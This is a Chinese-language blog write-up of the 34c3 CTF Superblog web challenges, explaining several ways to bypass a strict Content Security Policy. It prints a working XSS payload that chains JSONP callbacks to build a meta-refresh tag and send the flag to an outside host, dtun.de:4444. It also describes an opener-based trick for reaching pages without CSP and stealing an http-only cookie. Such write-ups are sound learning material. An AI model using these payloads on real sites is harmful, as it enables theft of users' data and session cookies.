Skip to content

严格 CSP 下的几种有趣的思路(34c3 CTF)

Posted in 每刻,知识分享

实际上是 34c3 CTF Superblog 1&2 Writeup

本次 web 仅看了 superblog 一题,未能解出,想到了正确的做法却走在了错误的道路上,在此讨论本题的几种解法,聊聊正确的思路,以及一些有趣的点。

Superblog 1 & 2

题目结构

  • 首页
  • 注册(注册用户,用户名长度限制 150 个字节,允许使用数字,字母,以及 @/./+/-/_ ,密码不允许使用弱口令)
  • 登陆
  • feed
  • 报告问题
  • 存在表单的页面均有 CSRF 保护
  • django

是常见的 XSS 题目结构。

题目存在的漏洞

  • 目录穿越 http://35.198.68.40/static../views.py 可查看源代码
  • 发表文章存在无过滤 XSS
  • feed 可 jsonp xss 构造有限制的 js 代码 http://35.198.68.40/feed?type=jsonp&cb=a

漏洞利用限制

CSP

default-src 'none'; base-uri 'none'; frame-ancestors 'none'; connect-src 'self'; img-src 'self'; style-src 'self' https://fonts.googleapis.com/; font-src 'self' https://fonts.gstatic.com/s/materialicons/; form-action 'self'; script-src 'self';

default-src 为 none,则未定义的 CSP 指令均无可利用点。frame-ancestors 为 none 使得页面不可被 frame 嵌套。img-src、script-src、style-src 均为 self。无 unsafe-inline 与 unsafe-eval。则 XSS 不可使用内联代码,只能从本站内引入,也无法用 eval 来动态执行代码,存在较大的限制。

feed

feed 处 callback 存在验证,不能使用[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+,存在极大的限制,括号不能使用,想要使用 function call 只得使用 ES6 的标签字符串。

解法

解法 1:利用动态 DOM 解析突破内容限制

无法赋值也就意味着无法把值存储到某个变量中,无法自由的使用字符串拼接符号更是限制了动态加载的可能性。更何况没有 unsafe-eval,没办法使用 eval 等函数来动态执行代码,然而这种新的做法却让我看到了一种奇妙的可能性,利用 DOM 节点的变化将值拼接进去,再将值写入 DOM 节点,以此达到动态加载 DOM 节点的目的。

<link id="woot" rel="import" href="/flag1">
<textarea id="shit">
<meta http-equiv="refresh" content="0;URL='http://dtun.de:4444/</textarea>
<textarea id="rest">'"></textarea>

<script src="/feed?type=jsonp&cb=shit.append`${woot.import.getElementsByTagName`p`.item``.textContent.trim``}`,"></script>
<script src="/feed?type=jsonp&cb=shit.append`${rest.textContent}`,"></script>
<script src="/feed?type=jsonp&cb=document.write`${shit.textContent}`,"></script>

先看第一部分

<link id="woot" rel="import" href="/flag1">
<textarea id="shit">
<meta http-equiv="refresh" content="0;URL='http://dtun.de:4444/</textarea>
<textarea id="rest">'"></textarea>

先将 /flag1 import 进来。创建两个文本框,内容分别是 <meta http-equiv="refresh" content="0;URL='http://dtun.de:4444/'"> 显而易见是用来拼接的,接下来的内容也就显而易见了。

<script src="/feed?type=jsonp&cb=shit.append`${woot.import.getElementsByTagName`p`.item``.textContent.trim``}`,"></script>
<script src="/feed?type=jsonp&cb=shit.append`${rest.textContent}`,"></script>
<script src="/feed?type=jsonp&cb=document.write`${shit.textContent}`,"></script>

这三行分别执行三行 script。获取 flag1 的内容,拼接进第一个文本框,然后把第二个文本框的内容拼接进第一个文本框,也就组合好了一个完整的 meta 标签。最后将第一个文本框的内容 document.write 到页面中,页面自动刷新,带着 flag 来到了另一个页面。可以说是构思非常巧妙了。

superblog 2 则可构造表单与 /flag2 页面相同,并将页面中的 flag.js 引入,这样提交表单后结果可被返回到当前页面的 DOM 节点中。再用相同的思路把数据传出即可。

解法 2:利用 CSP 覆盖不全面的问题

这里引出了另一个问题,CSP 部署不全面可能造成的问题。CSP 部署不全面会使得部分页面没有被 CSP 限制,在同源页面可以相互操纵的情况下,出现了多种可能性。

  • 引入外部 frame,src 为没有部署 CSP 的同源页面,操纵 frame 内的 DOM 为想要执行的 script,为所欲为。
  • 使用 opener 对象,间接的操纵
<link id="m" rel="import" href="/flag1">
<link id="e" rel="import" href="/static/">
<script src="/feed?type=jsonp&cb=e.import.write`${shit.textContent}`,"></script>

而在当前环境下,因 CSP 中有 frame-ancestors 'none' 指令,使得我们无法将该页面插入到其他页面。且 default-src 'none' ,使得任何 iframe 不能在当前页面引入。这里选用方法 2。实际上该方法在 chrome 也只能在 chrome headless 的情况下使用,否则浏览器的弹窗拦截机制就成了笑话。

像这样一个在 a.html 中的链接:

<a href="b.html" target="_blank" id="melody">aaa</a>

点开后是可以在 b.html 中通过 window.opener 来操纵 a.html 中的 DOM 节点的。因此可以利用如下思路实现操纵没有部署 CSP 的页面。

  1. page1:打开page2,跳转到 /flag1
  2. page2:打开 page 3,跳转到没有部署 CSP 的页面
  3. page3 通过 opener 操纵 page2 的 DOM ,执行任意脚本,此时无 CSP 限制,为所欲为。superblog2 也可直接通过此方法获取 debug 页面泄露的 http-only cookie 来解出。

解法 3:直接突破 CSP

同样是 chrome CSP 实现不严谨的问题,利用 <link rel=prefetch href="xxx"> 传输数据,详解不再赘述。可参考这篇文章。

https://gist.github.com/cgvwzq/2d875cb4bd752a99ca239e6ffe64f849

2 Comments

  1. ftk
    ftk

    妙啊

    2018年1月4日
    |Reply
  2. Kira
    Kira

    高,实在是高

    2018年1月5日
    |Reply

Leave a Reply

Your email address will not be published. Required fields are marked *